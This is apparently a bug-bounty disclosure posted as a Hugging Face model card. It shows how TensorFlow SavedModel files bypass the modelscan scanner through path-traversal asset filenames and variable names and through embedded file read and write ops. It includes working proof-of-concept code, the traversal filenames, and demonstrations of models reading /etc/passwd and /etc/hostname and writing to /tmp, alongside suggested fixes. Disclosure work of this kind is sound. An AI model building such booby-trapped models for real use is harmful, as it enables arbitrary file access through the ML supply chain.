TensorFlow SavedModel: Asset Path Traversal + Dangerous Ops (ReadFile/WriteFile) Scanner Bypass

Summary

TensorFlow SavedModel format has two scanner bypass vectors:

  1. Asset directory path traversal β€” The assets/ subdirectory can contain files with URL-encoded or literal path traversal names. modelscan 0.8.8 does not inspect asset filenames. When a framework copies or extracts assets, traversal names write outside the target directory.

  2. Variable name path traversal β€” tf.Variable names containing ../../../ survive the save/load cycle and are stored in the checkpoint files. modelscan does not validate variable names.

Additionally, SavedModel graphs can embed tf.io.read_file and tf.io.write_file ops that achieve arbitrary file read/write on model load and inference. While modelscan detects these ops, they demonstrate the format's inherent ability to carry dangerous operations.

Format: TensorFlow SavedModel ($4,000 MFV) Scanner tested: modelscan 0.8.8 β€” 2/4 MISSED (asset traversal + variable name traversal) Impact confirmed: Arbitrary file read (/etc/hostname) and file write (/tmp/) dynamically verified

Scanner Results (2026-03-20)

Payload Technique modelscan 0.8.8 Verified
payload1_asset_traversal/ URL-encoded traversal in asset filename MISSED Asset file created
payload4_var_traversal/ ../../../tmp/evil_weight as tf.Variable name MISSED Name preserved in checkpoint
payload2_readfile_op/ tf.io.read_file op in graph Detected Read /etc/hostname = confirmed
payload3_pyfunction/ tf.io.write_file op in graph Detected Wrote /tmp/tf_pwned.txt = confirmed

Vulnerability Details

Asset path traversal

SavedModel stores auxiliary files in an assets/ directory alongside saved_model.pb. The asset filenames are not validated by TensorFlow or modelscan:

import tensorflow as tf
import os

model = tf.Module()
model.v = tf.Variable(1.0)
tf.saved_model.save(model, "model_dir")

# Inject traversal asset
assets_dir = os.path.join("model_dir", "assets")
os.makedirs(assets_dir, exist_ok=True)
with open(os.path.join(assets_dir, "..%2f..%2f..%2ftmp%2fpwned.txt"), 'w') as f:
    f.write("PWNED")

When tools extract or copy assets (e.g., model registries, deployment pipelines), the traversal filename writes outside the model directory.

Variable name traversal

TensorFlow accepts path traversal characters in variable names:

class Model(tf.Module):
    def __init__(self):
        self.w = tf.Variable(tf.zeros([4, 4]), name="../../../tmp/evil_weight")

tf.saved_model.save(Model(), "model_dir")
# Variable name preserved in checkpoint files

ReadFile / WriteFile ops (impact demonstration)

SavedModel graphs can contain ops that perform file I/O at inference time:

# This model reads arbitrary files when called:
loaded = tf.saved_model.load("payload2_readfile_op")
content = loaded.read(tf.constant("/etc/passwd"))
# β†’ Returns file contents as tf.string tensor

# This model writes arbitrary files when called:
loaded = tf.saved_model.load("payload3_pyfunction")
loaded.process(tf.constant("malicious content"))
# β†’ Writes to /tmp/tf_pwned.txt

Dynamically confirmed:

ReadFile:  read /etc/hostname = 'Paolo'
WriteFile: wrote /tmp/tf_pwned.txt = 'PWNED_BY_TF_SAVEDMODEL'

Impact

  1. Asset traversal β†’ arbitrary file write during model deployment, extraction, or registry indexing. ML pipelines that unpack SavedModel assets write to attacker-controlled paths.

  2. Variable name traversal β†’ checkpoint file escape if checkpoints are exported per-variable (some tools do this for distributed training).

  3. ReadFile/WriteFile ops β†’ runtime file access whenever the model is loaded and invoked. In inference servers (TF Serving, Triton), this reads host files or writes to the filesystem with server privileges.

  4. Supply chain β€” malicious SavedModels on TensorFlow Hub or Hugging Face trigger file access when loaded by any consumer.

Proof of Concept

Payloads hosted at: https://huggingface.co/vellaveto/tf-savedmodel-scanner-bypass-poc

Suggested Fix

  • Validate asset filenames: reject .., %2f, null bytes, control characters
  • Validate variable names: same character restrictions
  • modelscan: inspect asset directory filenames, not just saved_model.pb contents

References

Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support